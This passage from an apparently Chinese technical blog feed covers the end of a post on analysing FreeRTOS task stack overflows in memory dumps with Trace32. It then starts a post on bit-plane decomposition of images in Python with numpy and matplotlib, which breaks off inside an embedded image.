<p>我们再找一个正常的task做对比，也就是下图的IDLE task。同样的方法，先查看TCB数据，找到栈的起始地址0x80992500, 栈的结束地址0x809934f8，栈顶地址0x8099342c。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/images/qns/Untitled-5.12q9ltcipo8g.png" alt=""  />
</p>
<p>查看栈的起始地址0x80992500的内存数据，开始的16个字节都是0xA5，说明栈空间够，没有溢出，且还有一段未曾使用的空间。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/images/qns/Untitled-6.mjuoih6h8hc.png" alt=""  />
</p>
<p>再看栈顶地址0x8099342c的数据，在0x8099342c之上有一段不是0xA5的数据，说明曾经有发生过函数调用，且成功返回了。栈保存的函数调用信息在出栈之后并不会主动清除，只会在下次入栈的时候数据覆盖，由此我们也可以通过这个信息查看这个任务曾经调用过什么函数。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/images/qns/Untitled-7.v4jbtnlhacw.png" alt=""  />
</p>
<p>从栈顶到栈底这段空间保存在函数调用的信息，我们可以使用trace 32来解析函数调用关系。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/images/qns/Untitled-8.5d2amkqv3u80.png" alt=""  />
</p>
<p>在栈顶与栈底这段内存数据里，我先找到其中的函数地址，再通过设置断点的方式根据地址找到函数名。比如下图依次找到两个程序地址：0x6014B6CF 和 0x6014B651，通过设置断点查到对应的函数名prvIdleTask和xTaskResumeAll，再根据栈的增长方向可以判断是 prvIdleTask  调用→ xTaskResumeAll。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/images/qns/Untitled-9.67ablvydo580.png" alt=""  />
</p>
<p>把栈空间所有程序地址找出来，按照同样的方法就能找到这个任务的函数调用痕迹了：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="mi">6014</span><span class="n">B795</span>	<span class="n">vTaskSwitchContext</span><span class="err">\</span><span class="mi">51</span><span class="o">+</span><span class="mh">0x1</span>
</span></span><span class="line"><span class="cl"><span class="mi">6014</span><span class="n">B795</span>	<span class="n">vTaskSwitchContext</span><span class="err">\</span><span class="mi">51</span><span class="o">+</span><span class="mh">0x1</span>
</span></span><span class="line"><span class="cl"><span class="mi">6014</span><span class="n">B795</span> 	<span class="n">vTaskSwitchContext</span><span class="err">\</span><span class="mi">51</span><span class="o">+</span><span class="mh">0x1</span>
</span></span><span class="line"><span class="cl"><span class="mi">6014</span><span class="n">B651</span>	<span class="n">xTaskResumeAll</span><span class="err">\</span><span class="mi">88</span><span class="o">+</span><span class="mh">0x1</span>
</span></span><span class="line"><span class="cl"><span class="mi">6014</span><span class="n">B6CF</span> 	<span class="n">prvIdleTask</span><span class="err">\</span><span class="mi">104</span><span class="o">+</span><span class="mh">0x5</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>有一个规律，EC200U的程序地址都是60XXX开头的，比如6014B6CF、6014B651、6014B795等，可以按照这个规律排查是否是程序地址。当然，如果你能确定内存布局，在栈的数据里判断是否是程序地址就不会出错了。</p>
<h2 id="总结">总结</h2>
<ol>
<li>从任务栈的结构的角度分析，便于理解栈溢出产生的原因和栈溢出导致的两类问题。</li>
<li>FreeRTOS提供两种软件栈溢出检测方式，两种方法各有优缺点，且不一定能够在任何时候都检测到所有类型的栈溢出。kernel 是在任务的上下文切换的时候进行栈溢出检查，通过软件检测栈溢出的方法，在发现问题上具有一定的“滞后性”。</li>
<li>在memory dump中分析栈问题有几个关键的信息点需要掌握：栈的生长方向、栈的起止地址、栈顶地址，栈的保护标记（栈空间初始化设置的固定值）以及通过栈空间的数据分析函数调用关系。</li>
</ol>
<h2 id="参考资料">参考资料</h2>
<ol>
<li><a href="https://www.notion.so/FreeRTOS-stacks-and-stack-overflow-checking-df93402e952b4aa79b381d28693b2dc5">FreeRTOS - stacks and stack overflow checking</a></li>
<li><a href="https://github.com/FreeRTOS/FreeRTOS-Kernel">https://github.com/FreeRTOS/FreeRTOS-Kernel</a></li>
<li><a href="https://www.notion.so/Zephyr-cf671a64822a4bd7be4e200ba9240676">Zephyr使用的堆栈保护技术</a></li>
</ol>
]]></content:encoded>
    </item>
    <item>
      <title>用 python 实现数字图像位平面分解的方法</title>
      <link>https://hacperme.com/posts/notes/2019-11-10-python-bit-plane/</link>
      <pubDate>Sun, 10 Nov 2019 01:23:09 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2019-11-10-python-bit-plane/</guid>
      <description>数字图像位平面分解 位平面分解是数字图像处理的一种基本方法，我们用 $f(x,y)$来表示一幅数字图像，其中图像的第 $k$ 个颜色通道数据可以用 $f_{k}(x,y)$ 表示</description>
      <content:encoded><![CDATA[<h2 id="数字图像位平面分解">数字图像位平面分解</h2>
<p><a href="https://en.wikipedia.org/wiki/Bit_plane" title="Bit plane">位平面</a>分解是数字图像处理的一种基本方法，我们用 $f(x,y)$来表示一幅数字图像，其中图像的第 $k$ 个颜色通道数据可以用 $f_{k}(x,y)$ 表示。以 RGB 图像为例，RGB 图像有 R、G、B 三个颜色通道，每个颜色通道都是具有 256 级灰度级别的灰度图像，也就是用 8 bit 大小来存储灰度图像的一个像素值。RGB 图像的一个像素值会占用 24 bit 大小，因为 RGB 有 3 个颜色通道。</p>
<p>按照下面的公式对 RGB 的第 $k$ 个颜色通道进行位平面分解，一个颜色通道可以分解为 8 个位平面，每个位平面用二值图像来表示。</p>
<p>$$f_{k}^{n}{(x,y)} = f_{k}(x,y) {\&amp;} 2^{n} \quad (n = 0, \ldots, 7) $$</p>
<h2 id="用-python-来实现数字图像位平面分解">用 python 来实现数字图像位平面分解</h2>
<p>使用 python 来做位平面分解需要安装 <a href="https://matplotlib.org/" title="Matplotlib: Python plotting — Matplotlib 3.1.1 documentation">matplotlib</a>、<a href="https://numpy.org/" title="NumPy — NumPy">numpy</a>、<a href="https://scikit-image.org/" title="scikit-image: Image processing in Python — scikit-image">scikit-image</a> 这三个库,可以使用 pip 命令来安装</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">pip</span> <span class="n">install</span> <span class="n">matplotlib</span> <span class="n">numpy</span> <span class="n">scikit</span><span class="o">-</span><span class="n">image</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>安装好这三个库之后，导入需要用到的函数</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="nn">plt</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">skimage</span> <span class="kn">import</span> <span class="n">data</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>编写一个函数用来做位平面分解，输入数据是一幅灰度图像</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">bitplane</span><span class="p">(</span><span class="n">img</span><span class="p">:</span><span class="n">np</span><span class="o">.</span><span class="n">ndarray</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">shape</span> <span class="o">=</span> <span class="n">img</span><span class="o">.</span><span class="n">shape</span>
</span></span><span class="line"><span class="cl">    <span class="n">bits</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">unpackbits</span><span class="p">(</span><span class="n">img</span><span class="o">.</span><span class="n">reshape</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span> <span class="n">axis</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">plt</span><span class="o">.</span><span class="n">figure</span><span class="p">(</span><span class="n">figsize</span><span class="o">=</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="mi">4</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">bit_plane_i</span> <span class="o">=</span> <span class="n">bits</span><span class="p">[:,</span><span class="n">i</span><span class="p">]</span><span class="o">.</span><span class="n">reshape</span><span class="p">(</span><span class="n">shape</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">plt</span><span class="o">.</span><span class="n">subplot</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">plt</span><span class="o">.</span><span class="n">imshow</span><span class="p">(</span><span class="n">bit_plane_i</span><span class="p">,</span> <span class="n">cmap</span><span class="o">=</span><span class="s2">&#34;gray&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s1">&#39;Bit Plane </span><span class="si">{}</span><span class="s1">&#39;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="mi">7</span><span class="o">-</span><span class="n">i</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="n">plt</span><span class="o">.</span><span class="n">axis</span><span class="p">(</span><span class="s1">&#39;off&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>拿 scikit-image 中的一幅 RGB 图像来做测试，选用 coffee 这张图</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">image</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">coffee</span><span class="p">()</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">plt</span><span class="o">.</span><span class="n">imshow</span><span class="p">(</span><span class="n">image</span><span class="p">);</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p><img loading="lazy" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAW4AAAD8CAYAAABXe05zAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1&#43;/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4xLjEsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy8QZhcZAAAgAElEQVR4nOy8y69tWXbm9Rtjzrkee599zrmPuBEZkenMLNuy02m7yg2oBsIUCAMFDToUwkh0EBgJgZCggwT8A/RK1aJANGiVVALRBLplaFSBwYXLkh/lsp1pZ0Rk3Mc5Z&#43;&#43;9HnPOMWjMdc69kZWBZIkQmfIZ0tXd&#43;&#43;y1155rPsb8xje&#43;McXdebRHe7RHe7QfH9P/vxvwaI/2aI/2aH82e3Tcj/Zoj/ZoP2b26Lgf7dEe7dF&#43;zOzRcT/aoz3ao/2Y2aPjfrRHe7RH&#43;zGzR8f9aI/2aI/2Y2ZfmuMWkX9JRH5HRH5fRP7TL&#43;t3Hu3RHu3R/ryZfBk6bhEJwO8CvwJ8F/h7wK&#43;6&#43;2//f/5jj/Zoj/Zof87sy0Lc/yTw&#43;&#43;7&#43;B&#43;6&#43;An8L&#43;Fe/pN96tEd7tEf7c2XxS7rvR8B33nn/XeAvf9HFKuJB5e0fBPjBQEBAkHdeb&#43;a88&#43;bt19sLgR&#43;MKES2a37IF9&#43;x&#43;2/JD3nv&#43;ENbnB/e3PtPvuBRPnfPd6999yLxz7&#43;/fxR5928/0OBRoVdBcFQgRcWqY&#43;YI7fFFQAVE3nakbq9jF3HAzFEEd8O9XW8IMQbcjFqMaoaKPlxz36YYFAFMFMMREaTdgFwM3MAdcRBtz52ro0GpZtTiOE4KDVe4KI5gVh&#43;eX8VJUQlBcYGgAXfa722dpeK4OUbry1pte355&#43;Gdmra3maNTWjf52nFVaH4gIINj9PVQwA3cH3&#43;aEyNv73w&#43;Lt35n&#43;04barn/EPftGlEcx33rd3E0hG2M9OG&#43;7uBWcbtvh3K/INwcr63vVNuPVmvt03ab1k9AMcPMCKrIthqc&#43;9&#43;&#43;b3ebLG7&#43;doKpbn1x/6e3k/JhZW19cj/hHvrCHjp2m4hvr/dtjES3r7H1zf0aFrgfSNXYIOd2HxHABXN/p19ieyJ/t6ntOdowyNbm1reI4iqtDVFRjW2e5wy0ueoCqtqu9dr&#43;INvaFQVVaq1g9rl1q6KtnfrQ6G3M21IQedsfIuGha77z6Wte3Zx&#43;qJP6shz3D/uxz/kvEfk14NegTarri6E5FBQRbwtqW1ghBFS1OSNtAxUltAH3t50k6qgo5kbU2D4XwCuiEauORkE9oGq4O1GVst3CvU14b1/a/L5vC8bfTlggiFDNsO0exuev3Z7xB3rFwPXh8yBCdiNsDi6JPnwvCBjt2c0MkIc&#43;AXAVtDomoA5P9oFf2iWupLBDCAopBa52gTqtvDmuHPoOJdPvO/YH5cXhwHldiQFq1xG7xOqOZyHpSq2Oz8ab24n3v/4BajNLhvnNHWbOftezrBUQzqXw5HIkBighsnokA/vdnjAkztORlzcr3enMOs9ECcTUJvpxFpbqxGGkE2e6XTAvkCIelXWpvLqbiDHRReXp4Pz8z73PkjP7965Z58KyCOLOWpzxItILLHdHzIx1rtTqzKeJmCJDFyBASD0qyvnmSHBYyFxeXuPurOuCakC0MHTKdASzwnCRqLmyFGeZKyJGcJAYiJ2SQmiOIa8IQheFft9jKizzinmPdkangZoLeSno4ZqVjtP5jN3dcUiF/WEHgzDsD4QQKeuC1YpVoGRil/DqFC&#43;kYWCeC&#43;fbM&#43;O4I0ZBEOZ14njMHEbn6uKSqkIumVwcCZGYhOPRyaWwHxPDGKmrYBQ09Ji0TaIW5TgtdL0wpA7UkThSq1PKiXG8oNoC2dAYkNCBlwYGVDFfoSq&#43;ZtaSSd2AaWqbXUhUqZQ5sxsDMUWsrOTVqDUj2iHuxACESN9VQjxAiIgKGiNrUYo5Na90GkhdQvqBdZ4pxSj5jIYeMAKlbeopErQjpASqhNBRO0Ho2O13hE4pq7Ceb9oe4cq8zoSYkNCT64yaIxrQrgMg7neUZdn8iVLnFQlO33doUBSBmAhR6Loe7ffU7LhXXMCsogJdEELX8S//R3/jCx3sl&#43;W4vwt87Z33XwX&#43;9N0L3P1vAn8TIAV18QweIfA5J6mqm4O&#43;RxEg4kDF3JCN7XF31GNDKhpwr4gkzDPmoGbN8VfBKbhEhIY82obd7nXvtNnQz7uAvSEDI2jcEBbEd5ytu2&#43;I7/69Peyg7Z7hAcWJKmb2gHACitHeY4aFwD3CewAv3G/ygpjgGG7Ktz/o&#43;dkU6LyQl0wKCfNKzLCcC1Iro1T60dmPif2&#43;5/Kyxxz2F5f0&#43;0heK2/ezIgad8fC8z5yez6hMhD2ifObO26PM2OqPLncYatzeztTVEDhvasLMs4SOjwlygqh65jmwvHVa0SNcVmJGhkOO5apUC0xlYW7JXNeCs89INGoCqKBNUae7iNvvNCnyi5UDiP84s&#43;8z91auHp2zXyTOZWMlMhZ4PKwY1kmfF4pecVd6LrIdC7sLweWKZMtM4aOZV6IUYkpkJfKfjeSy4KLUasxjAn1yM3tRBcDKQbqWjhNlSrOMESCh&#43;a4kzDVQooRFSOOglggpm2DLyBVEF&#43;RJWBSsWBoirxaMudSYZ55bxSG3Z6aM6MP1POZJWcciKlDVbFSWOtKGAaCK8c3NwTtuD6MuFcWK6x3hkjl&#43;fXIuB84nRbWNbOWwth1aIDjnWFS2V0EonaUbKROKNZhOeMiSAh0g/Jk94RlvgUMJVFqhZrpUkdFsCK4guVCciGmhNeVWlZcHHLFzYn9DiNQreKSsFwREXZDh1qh5IybUmvBamKdZg67nmGIpBCptQE7TR3zWjmfzuTFGDulG/ZUClKNWFZEnCjNSQ9dxBHWpW1aKqGtp&#43;IUNSqF3nu6roNcWecTeCGGQDXhPlAs6wqhYlUgCOpCWU8NoZ8hdR1dF6gIdD2x68jrDFYpEkkOMUTSbk8arpnOZ9ZlwktpaN0zceiJvkVSX2BfluP&#43;e8BPi8g3gT8B/g3g3/yiizf82UJue4tUfxDlAqh7c1qiuDmi9xGTgG7hi1eQiFkBAioVMNwDptJcq3kLjQzANkdbN6d/j5x5aMdDW72F3m8DiHv03N5FhGx1owCa81ZaWF63DQjAt3AqbrtRdSdqQMQRV&#43;75CfeG0s0qokrwgGvGCnz7/QNfG4V9WXEzolaSKB0ZVadUJ5kQQ&#43;Cnfv49jueFy6sdZZ6Ypxkdd3QSuburbdevlZIraVkZvvoNdq&#43;/x3KcCBb449czX3068HRwzneZKWeqdvS7wMVFT9E9FiPVKkEqu/3Ayzdnynni6hDoQkBCj3rh45cr1Zw364mlBOYl83S3R3eRYwWPBTMnuWFFWd35qQ9H3jskiglHC4xD4vuf3LGWSl2Nbkzs9x23N6/YAfNUSDGAO3laGFPH7elM3490fcBypU&#43;RumZUAuMouEaiZIop426grJV1mRlTh9eMSmIt0HWQhg5bZzQoQQI5FzoB1ok0JoZhwF3JecWqA4oGBTPcjaKCVSErrKczo8EuQd93gJKGnlwFrxk8kHOmT8a0GMWVXZ/QOHBeCxI7&#43;j7gxZjOhSpG7Jz9fkffXzDVzJwdUeXJ9Z6Sjek0o2GkT41Km8vC2HVggbpm3ARTI2kgSmCpC32XGh0jlRQFjyN1uiUQ0BDwarhCiI6XjKsTQo/hWHBiqIROsVrJtD6LyRlChFpABUFRDYRd5HxcuLq8oO&#43;VWpy6GpqU4Mr5PDFno5rQJwgxUalEFK8zeYqYQ6/Q9QMmzrw6iKASUFFyWTGpVAkM0QnSg62UarhNWE14zLglrK6oGKYR22iWNc&#43;oCCElggiuDV6pxkZvdYpK4PDsPeYpU88v8WIICVHQFFr0oo650nc7CEKpE3WePscm/KB9KY7b3YuI/AfA/wwE4L9193/wRdcLUL2iEnhLXr114A&#43;OnMYF3lsIgXv&#43;ydwQj5hUxFNz2hJxClYf6DZqbbQDargZ6oJqanSKxA3N39MSEWptUUAjQjHiFjpt9wGiRHAjIhR3JCiYYN7QhG08nbiDOuq6OWrBxIgScSq6cYMSAGuccIu7vYWg9xuBK//sh3u&#43;fhkgG70ay7kwaqQGYwyAKpddJCXnw68/55zPpD6gfQfzifG9ZyxzZbgIrK&#43;Nm1Nmd7Un/&#43;ktHAb2F4H5LjIHOJ8z3/rqBUkqr&#43;8W1hlEew5POtI44qFjLga1Ng6QzPc&#43;e02YV4Yg2HlmiR1JhJc3E8cizHNmKRWrmZ/95lc4OkynAjaT8krc9Yg7y/HIL37tgjpniii76x3kxLxW8rywmnFIPXlZOZ0nXBQLgobI&#43;TgTghIjHO9WUj9iKCFGokSW&#43;Yx0sS06T9RlZrwK9K6c7m5R7RhTgBDIlnGvhOB0USllRSRgOaMKwUEVNHSIOLk0IGACmiJeK5YNDREJylpWJCTM4GKfGM2otSApMXQRHEIXmH2H1ELfKXe3C/2TA6FWTqeV6fUbxl2il8TxuOK5susi2jvjMFJcuT3N5Ox0nZJipGTnOC1cjBFDOS9rC&#43;NjJK9G9sJ5XUkhYBrIy5nxsEcQzJyYEqpKCQmmE7EbcRxqRkMghkitK6odbk612pyYGTG09WSrIdHooxBcoFaSKihUhSVP9Ax88OyAiXB7Xii2EiWwiz1LDdzNGXFjGBX1ARHHy4qkHvOEBNh3qeVgxCkZhEKMA6UYa14a/98n4rgjLzMWZghh82FCqQXVHrOCOJTsSOcEVeayIFbQ2OMOSy2kEnAJxFHp&#43;g7RhNWKW2G/27FSqetENkOXFeMWqU6X9li3EkKjXHKprPkWsy9W/H0pcsA/q8Wg/mTXN7QpLUQQ8Qfkq7qFRw/UhCD6lpIwHLF3KYtGL7x9NkckvE0yieEEFAjaqAp9SC695ajvOXLxtpn45twbbSMY9pBAbLy0PHDdb9uyZVU2fjuoYtvnKoJgqAiKYFtSwvweGbTEkIrAlkR5voOf3UW&#43;NgaehYwizHMl4KzZ0CrsdsLFoDz/aM/&#43;sOfTT&#43;4IEphq5vLpgT4lqhcOFwPTJNtmUvjskze8&#43;MYz&#43;ho4H8989skbQh94cbVjqcLxbmEx6HeR3ZCIaWROO87zRC3OfoysS&#43;b7b254cbigno/kUpASyF75zqsTabxEYqDenXAV&#43;qEn9ZG8LNjqgBG3JNXhIvLVrzzh9jzTBYghsNSMlcSb45FnT3fgcHdeqMXQqgScGATXQF0WzIz9xUCpkEXZj4n5PKNJOVwdWl6kZI5vzuz2PcuyIA4pRnwYWkLJMh4DsUAtS9v3ux2lLKx3M3nN7IdISIG&#43;V4o4UlvkFUVx05ZU6xJlLY1fj4nz&#43;US/uyTPK6qBrldC18L4GHsYExJ7cl6px89QhLws5EnQxJZAc07TQnDhcNFxuBhxdZacOR0ry2pcHLrG1&#43;aVmISu73FbcYuYG&#43;ZGzgHUEATVQIyVXIyYOrp&#43;xCwTQiSIUqmN/vB7QKIIFfMKGgkhUeYztq0x8QKxJwkU98blaqNSShaCrvRDYkXJZqSgHHYH3IXJKrWUDc8JRqLWluMp0ijRZJWkFdGEho5uTOyGHkLCKxQv1CWDOB6UvArztGBUxv1IGnfU84kUMjGMaN9hKK6N4y81UF3J64T2CZVAKQu4oqGDKKxlZr87kFKi6xJpN9AdnoFH6nzX8nQEVivk0xu6qysk7hCDMPZo6qkWOX78h2hI1GXir/3n/zW/9Qcf/1C&#43;5EescvKennA&#43;v6G8daomb99zn8G3lpVWp&#43;3wvJsgbGlqe/fxPSBOc5Z&#43;j&#43;btIdnp2&#43;S6R9T3Wf/mtMtGYbRd2d3QTRHj76gVWmL1HQduAtoy3/efPygrtqw&#43;1lQQLRH7VpHgAoLRxcC3ngy8p8JARrxx8rVUSjaCGmqFITnDmHjy/AnnY2bJBVdlN&#43;7pijCfJw7DwLIWSpm5TAk7r&#43;xePGWko1PlfLew3w88uR6wCuelJbVSn7i8uiINF1hQlpIxM8aUKOvM7fmW3mD&#43;7JY8ZaZj5fZUeHk3s1aBoCQUkjGMIxICeV5g1UYLFKNWR9V57/meXJ3Qj3hKzIvhNXKaVy4POzpVpsXYDx1daE47xUBZC1GFeS2k2CHmzEulT0qeF1yVGCK5ZDBjOS90Uch5xYuRYiDXiqCYVzxEwsW&#43;ccqqhNBoOMVBK12MxCEShwRJkZgIMdAP/YY6G722zoXQBWLf49Xou5EA5OIMOyHELbviQq5nGjW8YCrEwyUgTMdMscJuGBgH5bRk5lMmBmHoFTNnXTJ5glqccdcTXFmXQnUn9R0eItUjGhqIWEpt/LS1hG3fdUhxkjZlj1tuc9IrVgstLg6ohm2tCblUrDTVz7wUcimUWlqkKgHxSi5bYhDBapuzeV1Z10IuzjpnEk4noY1LXhERYlKQhJtQcm4gSRs4Vk0NwFXHywKsDEkJsQE1o7S8UmhKJLEW3UsK9P1A0IzktUXTFWrJ5DXjtW6KqeYiNUDq&#43;kZ7alPzSIjUsmDmdKHlFzQqaMCy4XVCQ/NBQQMeI4TYxDEiaAwQ&#43;haFSUAIG8efycv8j8vR3rEvi&#43;P&#43;M5tI2Rwj4AGkvHVwbOiTLSQNEDYE3R4uoAFKLQiBarah6M2x3xP9orgIvoVvTa2huBVUAxruETINUdsmiQo8yIyQtroMR2qFqNT6lsK5jwyq3fPeDcW4bFKjdxUqIpgbbzeq7R61cffqDVmIOD/7/hP&#43;4r4wrDOHMTIEZTFYz7l9B2fXKRIzH/30&#43;1iFP/i9j3n&#43;za&#43;yyyshKst0wnd7Dhr55PXMi2c9mp0bN4brHT/5E3&#43;Bf/Q7v0XOBlYIMTLdZm6PmdAn&#43;oueq8MFFhPZ4XauTOuZp/uR27uZ9faMrROnUyFejZzPRhVnv08QL8CUnZ653o3clA84vz5S8oLPbazHcWCdFr71rWcEUW6XlRR7UlSWY6bkzDpXrp9c437i1auCUllmY0iJGo2YWkT0&#43;s0th/0OzKiuPH/a8&#43;p2Yn/1hG5IyFrxdWI5ZbqonFbY7RXZCfNs1KyInCAlun1Ap1NDelsEVjPkZWKIHWkQ0mGPa4c4xGDk6USZViQlUjeynk/srwbclLyueIV5Wold5XDoqGubaxImVoO&#43;63nz8SdM5sQ&#43;cfXkKcvsWIo83/Us2pHXyjK95uk&#43;8OS6x8S5vZtYSlNkHC4GXI3bySgaCF1owMEK3Thga8Zd25qpzr5XAiu2ZEJMEFKjbEJL5Fk1upSQoOS6EHTAqrHUpUnYQmKa5vYclkAzUoVq9UEdFqWj1AI45hUzmKtwepO52CniHbUYJzuTxp6QEucV6roidPSdYg4uSi&#43;Nb6/rGRNBg3CIAXVYlqlFAlEaFRkCuQhrdTQ4Y1I6jeRiWJnBhKk4SiEY9INRslOqkKuh2tH1DWFXyQQdqBWsVrRm6PvWT6JI6HE1luNK379GYke8uMBlQMtKns64CTEmQn/BWs94nai14CKs87ltAPLFuPpHwnGLgEvjcButIO98Jg&#43;azkDjf8Ud87JJ/5rTNCvv0BxN8RE2PfOmMwQDl3snKVsypAIJqPg7Uj2DxjdLU3noJi/ESpvs2rhrNXl4Bsya/EmcIE0q1DaHhqK5V8cEb1HCvcaT1r7GnW8o3Jv2&#43;cOrnn/mxY7eK5zOeKnsrpUpO9Gg0BIwIQpXXxl5/uwjluPK65sTfeq4fXmHxh2ihfefXbFMCy/PJy53B777Ry958eELDlJZ5jO/93/9JqfTmU5hmSJ3Vlqyadfx7OkVIUaONXI8rtRa6LvIk92OTz79mHq38ku//Et89snHnF&#43;&#43;5OPvTVRTvvLV97ipcJ6PXEeIwzWTBKabV8i0ILZyuLggROUwOFff&#43;ArnagiZPl2ylgVKZDmvdAKHMfLq008JY895yQwaGJKzLoVhn5jnlZKN/W6H4/RjpA&#43;Ru8nodx3T6UiyHi9KFGfsAut55XAZQYS8tqRu9krvQoqCLTNYYVmMNIxUq0zLjHiEoSeMAzV1LeFcMr5kymJbkgrEK5dXI&#43;uaKXOhVOd0XIlDJIWMzYW&#43;21GtYFYJRG5fHxEPlHxkPnYEnCHCVYxMpQCZ1CkfvX/FEIVpNs5TwRA0wri/ZK4Fy0BIrMXQyZC8shsaL1urYVYIQbgYI1LWbWcS8jyhaU/oA1ZqW0&#43;xo8qmZSeSzyfMMykO5JxZJqPYwhAb56wIJVecQhr6hjqtILS1kZJQilFL5bBXogTKOqOxY&#43;hHYhg4rxVfCl0fSKotOnCl6wbUjbyeWn7MnV0/AE6eZqoYqe8RiyCFbEqVTYqXmg7bS0FCIlthzSvuKxoHCs5yKoRkEGJD7rXRSSkq6xypfiSmgX4cWjTgKyEkMMfy3EBgdJZFGVKLbqpXNGQunn&#43;IWaXkTMm3VDesZmw&#43;kWJPFQNC0/1/gf1IOO5NBk9zuC3p9y7f3PTrsikuaA5z02tXd5RAk9pVMCdowMImlt/QtPvGhTstxjJp1xO2GDFQ3R5&#43;00tFY3rQ2Ne6brRLBFpiE2/iP6XiNbRwc3O890oel6Zg2ST/IEL0JgcTwBWkGKLyUAAhquSa&#43;Stf/4CvxxNf6Y11Ne5K5cXlyDQvBK8suakbkMK3/&#43;LXuH1zZLmbefnqTMnO7tmBIMbl5YHTp99jxkmdYrfw/rd&#43;kvHVG&#43;ZPPubVObPizMvKYUisi7Kqo11P7Jzry5EKnL3n5fGMijEmpcwT3799zbOrSywtrDc3xFp4&#43;brQ73ZkEp/eZl7fvkY9cGOKxDsOsRDWlYv9yGJKivDe856uHzkW6MYOped8e6Z6YFruuL7acXr1msWV6/ee8ObNHfthYJ0XdBiwYtzcZV5c7riRFfeIe8ebm4xeP0VTYpqtodTTwn43MOSZWzvy7PKadS0IbfMfdiN2PkMaMYF8Wkl9R&#43;ygrEuTtSGEix7tLjAxvGSwlfW8YjkT00h1I6nQRWU9HXGE403GQub6agRXaq7ELjKd7&#43;i7xDh03B5ngmqTV55hnk48G5XuMlEYyPORfVoZ95EwdLw5F968XtgNkcPliCZhXiIhOH2XuJsLQWpT2KzCTKXrhXWppKhEUep0IoSBWmBeJ/ouopJxgyCNS1/LmTDsEWBdTqg7qe/JpVJjQupMMG01DnVmWiv90BFiU96oCNkEPFLqSs2KAs8uBqo4tRgxdhAStRZOpxPBM/1u37T1uVGN6hmfX1EMEpHD1R48UJ1WbFYzoUvUvLCWypojhETct7xSXSpIhtrEAR4FHXqsKuaKW2Ke74i5oxshjSMQyOaUOVPWiRgiQmibc6T5hZjw0OEiVCIsd&#43;h4QamwnI7E